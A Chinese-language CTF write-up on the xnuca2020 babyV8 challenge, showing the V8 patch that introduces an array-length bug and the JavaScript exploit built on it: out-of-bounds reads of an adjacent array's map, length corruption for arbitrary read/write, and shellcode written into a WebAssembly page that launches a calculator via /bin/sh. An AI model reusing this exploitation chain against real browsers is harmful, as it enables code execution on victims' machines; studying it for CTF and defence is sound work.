
pwn· 更新于 2025-03-14
xnuca2020-babyV8
2024/12/03/xnuca2020-babyV8
diff
diff --git a/src/codegen/code-stub-assembler.cc b/src/codegen/code-stub-assembler.cc
index 16fd384..8bf435a 100644
--- a/src/codegen/code-stub-assembler.cc
+++ b/src/codegen/code-stub-assembler.cc
@@ -2888,7 +2888,7 @@ TNode<Smi> CodeStubAssembler::BuildAppendJSArray(ElementsKind kind,
[&](TNode<Object> arg) {
TryStoreArrayElement(kind, &pre_bailout, elements, var_length.value(),
arg);
- Increment(&var_length);
+ Increment(&var_length, 3);
},
first);
{
hack
get map
var raw_buf = new ArrayBuffer(8);
var d_buf = new Float64Array(raw_buf);
var l_buf = new BigInt64Array(raw_buf);
function d2l(x) {
d_buf[0] = x;
return l_buf[0];
}
function l2d(x) {
l_buf[0] = x;
return d_buf[0];
}
var arr = [1.1];
arr.push(1.2, 1.2, 1.2, 1.2, 1.2, 1.2, 1.2, 1.2, 1.2, 1.2, 1.2, 1.2); // length add 36
var arr2 = [1.2];
% DebugPrint(arr);
% DebugPrint(arr2);
% SystemBreak();
console.log(d2l(arr[18]));
% SystemBreak();
通过 arr 的数组越界去读 arr2 的 map

arr 的:

疑似读到了这里:

想读的地方:

好像溢出读不到((((
把 arr2 类型换成 Int Array

var arr = [1.1];
arr.push(1.2, 1.2, 1.2, 1.2, 1.2, 1.2, 1.2, 1.2, 1.2, 1.2, 1.2, 1.2);
var arr2 = [11];
arr2[1] = 12;
% DebugPrint(arr);
% DebugPrint(arr2);
hexx("map_and_len", d2l(arr[36]));
% SystemBreak();
这样就拿到了 map 地址
change length
这样可以将 arr2 的长度改的非常大
var arr = [1.1];
arr.push(1.2, 1.2, 1.2, 1.2, 1.2, 1.2, 1.2, 1.2, 1.2, 1.2, 1.2, 1.2);
var arr2 = [11];
arr2[1] = 1.1;
map = f64toi64(arr[36]);
map_addr = u64_l(arr[36]);
% DebugPrint(arr);
% DebugPrint(arr2);
printhex("map_and_len", map);
arr[36] = p64(40000, map_addr);
print("arr2: ", arr2[0]);
printhex("arr[36]", h.f64toi64(arr[36]));
% DebugPrint(arr);
% DebugPrint(arr2);
% SystemBreak();

shellcode!
var arr = [1.1];
arr.push(1.2, 1.2, 1.2, 1.2, 1.2, 1.2, 1.2, 1.2, 1.2, 1.2, 1.2, 1.2);
var arr2 = [11];
arr2[1] = 1.1;
var arr3 = new ArrayBuffer(0x1000);
const wasmCode = new Uint8Array([0x00, 0x61, 0x73, 0x6D, 0x01, 0x00, 0x00, 0x00, 0x01, 0x85, 0x80, 0x80, 0x80, 0x00, 0x01, 0x60, 0x00, 0x01, 0x7F, 0x03, 0x82, 0x80, 0x80, 0x80, 0x00, 0x01, 0x00, 0x04, 0x84, 0x80, 0x80, 0x80, 0x00, 0x01, 0x70, 0x00, 0x00, 0x05, 0x83, 0x80, 0x80, 0x80, 0x00, 0x01, 0x00, 0x01, 0x06, 0x81, 0x80, 0x80, 0x80, 0x00, 0x00, 0x07, 0x91, 0x80, 0x80, 0x80, 0x00, 0x02, 0x06, 0x6D, 0x65, 0x6D, 0x6F, 0x72, 0x79, 0x02, 0x00, 0x04, 0x6D, 0x61, 0x69, 0x6E, 0x00, 0x00, 0x0A, 0x8A, 0x80, 0x80, 0x80, 0x00, 0x01, 0x84, 0x80, 0x80, 0x80, 0x00, 0x00, 0x41, 0x2A, 0x0B]);
const shellcode = new Uint8Array([0x6a, 0x3b, 0x58, 0x99, 0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00, 0x53, 0x48, 0x89, 0xe7, 0x68, 0x2d, 0x63, 0x00, 0x00, 0x48, 0x89, 0xe6, 0x52, 0xe8, 0x1c, 0x00, 0x00, 0x00, 0x44, 0x49, 0x53, 0x50, 0x4c, 0x41, 0x59, 0x3d, 0x3a, 0x30, 0x20, 0x67, 0x6e, 0x6f, 0x6d, 0x65, 0x2d, 0x63, 0x61, 0x6c, 0x63, 0x75, 0x6c, 0x61, 0x74, 0x6f, 0x72, 0x00, 0x56, 0x57, 0x48, 0x89, 0xe6, 0x0f, 0x05]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule);
var func = wasmInstance.exports.main;
len = u64_h(arr[36]);
map = u64_l(arr[36]);
% DebugPrint(arr);
% DebugPrint(arr2);
printhex("len", len);
printhex("map", map);
arr[36] = p64(40000, map);
print("arr2: ", arr2[0]);
printhex("arr[36]", f64toi64(arr[36]));
% DebugPrint(arr);
% DebugPrint(arr2);
% DebugPrint(arr3);
% SystemBreak();
先创建 wasm 实例,然后修改 arraybuffer 的地址,注入 shellcode

搜索 wasm 的 shellcode 地址
var wasm_addr;
for (let i = 0x31200; i < 0x31500; i++) {
tmp = f64toi64(arr2[i]);
// printhex(`${hex(i)}`, tmp);
if (parseInt(tmp) == 0x2f6d7361772f2f3a) {
farrdump(arr2, i + 16, i + 20);
wasm_addr = f64toi64(arr2[i + 17]);
printhex("wasm_addr", wasm_addr);
break;
}
tmp = u64_h(arr2[i]);
tmp_ = u64_l(arr2[i + 1]);
if (tmp == 0x772f2f3a && tmp_ == 0x2f6d7361) {
farrdump(arr2, i + 16, i + 20);
wasm_l = u64_h(arr2[i + 17]);
wasm_h = u64_l(arr2[i + 18]);
printhex("wasm_addr_l", wasm_l);
printhex("wasm_addr_h", wasm_h);
wasm_addr = u64_h(arr2[i + 17]) + ((u64_l(arr2[i + 18]) << 32));
printhex("wasm_addr", wasm_addr);
break;
}
}
注入 shellcode 然后执行
arr2[21] = p64(Number(wasm_addr & BigInt(0xFFFFFFFF)), 0);
arr2[22] = p64(0, Number(wasm_addr >> BigInt(32)));
farrdump(arr2, 20, 23);
var shellcode_arr = new DataView(arr3);
for (let i = 0; i < shellcode.length; i++) {
shellcode_arr.setUint32(i, shellcode[i], true);
}
% SystemBreak();
func();


评论


